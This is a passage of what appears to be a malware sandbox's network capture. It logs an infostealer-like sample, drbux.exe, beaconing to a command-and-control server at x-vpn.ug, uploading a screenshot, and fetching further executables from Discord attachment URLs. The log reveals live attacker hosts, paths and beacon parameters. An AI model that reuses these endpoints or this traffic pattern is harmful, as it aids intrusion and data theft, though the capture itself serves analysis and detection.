63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:27.094577074 CEST	16236	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:27.096224070 CEST	16239	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:27.096390963 CEST	16242	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:27.096725941 CEST	16244	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:27.097207069 CEST	16247	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:27.097593069 CEST	16250	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:27.097943068 CEST	16253	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.6	49950	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:27.124099970 CEST	16261	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:27.204569101 CEST	16315	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.6	49951	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:27.404614925 CEST	16321	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:27.500070095 CEST	16335	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.6	49952	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:27.486504078 CEST	16322	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:27.486659050 CEST	16322	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:27.486870050 CEST	16332	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:27.487063885 CEST	16335	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:27.565058947 CEST	16338	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:27.565258980 CEST	16341	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:27.565335035 CEST	16343	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:27.565434933 CEST	16346	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:27.565653086 CEST	16349	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:27.566179991 CEST	16354	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:27.566199064 CEST	16356	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:27.902204037 CEST	16424	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.6	49953	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:27.705210924 CEST	16412	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:27.804256916 CEST	16423	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.6	49955	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:28.023587942 CEST	16425	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:28.134356976 CEST	16425	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49736	162.159.129.233	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:20.702411890 CEST	1333	OUT	GET /attachments/837741922641903637/866052288628129812/kliper.exe HTTP/1.1 Host: cdn.discordapp.com
Jul 19, 2021 18:35:20.765579939 CEST	1348	IN	HTTP/1.1 200 OK Date: Mon, 19 Jul 2021 16:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN cf-request-id: 0b6138502300002b35521de000000001 X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=11Wm1kqBEug%2Fb3YW1ZAuqgqcEgERs%2BCLhmdXE4uQebcyKPm75NNJJTA4UltLZPelIstNF6aOTw1K1gcuVUqEXviez6KrpNUSDBxKtD50ugo0qYL41czVrxvv6fNG00D3IwreVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67155cc6989c2b35-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 31 30 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 Data Ascii: 1105<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex,
Jul 19, 2021 18:35:20.765705109 CEST	1349	IN	Data Raw: 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e Data Ascii: nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />...[if lt IE 9]><link rel="styleshe
Jul 19, 2021 18:35:20.765729904 CEST	1351	IN	Data Raw: 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 Data Ascii: <div class="cf-columns two"> <div class="cf-column"> <h2>What is phishing?</h2> <p>This link has been flagged as phishing. Phishing is an attempt to acquire personal information such as passwords and cre
Jul 19, 2021 18:35:20.765750885 CEST	1352	IN	Data Raw: 6e 67 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 54 72 75 73 74 20 26 61 6d 70 3b 20 53 61 66 65 74 79 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ng please contact the Trust & Safety team for more information.</p> </div> </div> </div>... /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:t
Jul 19, 2021 18:35:20.765767097 CEST	1352	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49757	162.159.129.233	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:31.058448076 CEST	2965	OUT	GET /attachments/837741922641903637/866064263189233694/GoogleInstall.exe HTTP/1.1 Host: cdn.discordapp.com
Jul 19, 2021 18:35:31.106045961 CEST	2966	IN	HTTP/1.1 200 OK Date: Mon, 19 Jul 2021 16:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN cf-request-id: 0b61387893000006147fbfa000000001 X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OxBOOfd%2F7FFsy923OyHNbS%2F6EaU7dkce%2BG8LmN51%2Fn8FPMyxbiJeWTN9F1qeFDseoJo4vnAn8DRtiuPnbsT10FBCoag4UA4NMLwZSLC6GKeOWdzCjSB7%2FZJGg%2FiQxSXfOxTQyg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67155d075aa50614-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 31 31 30 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 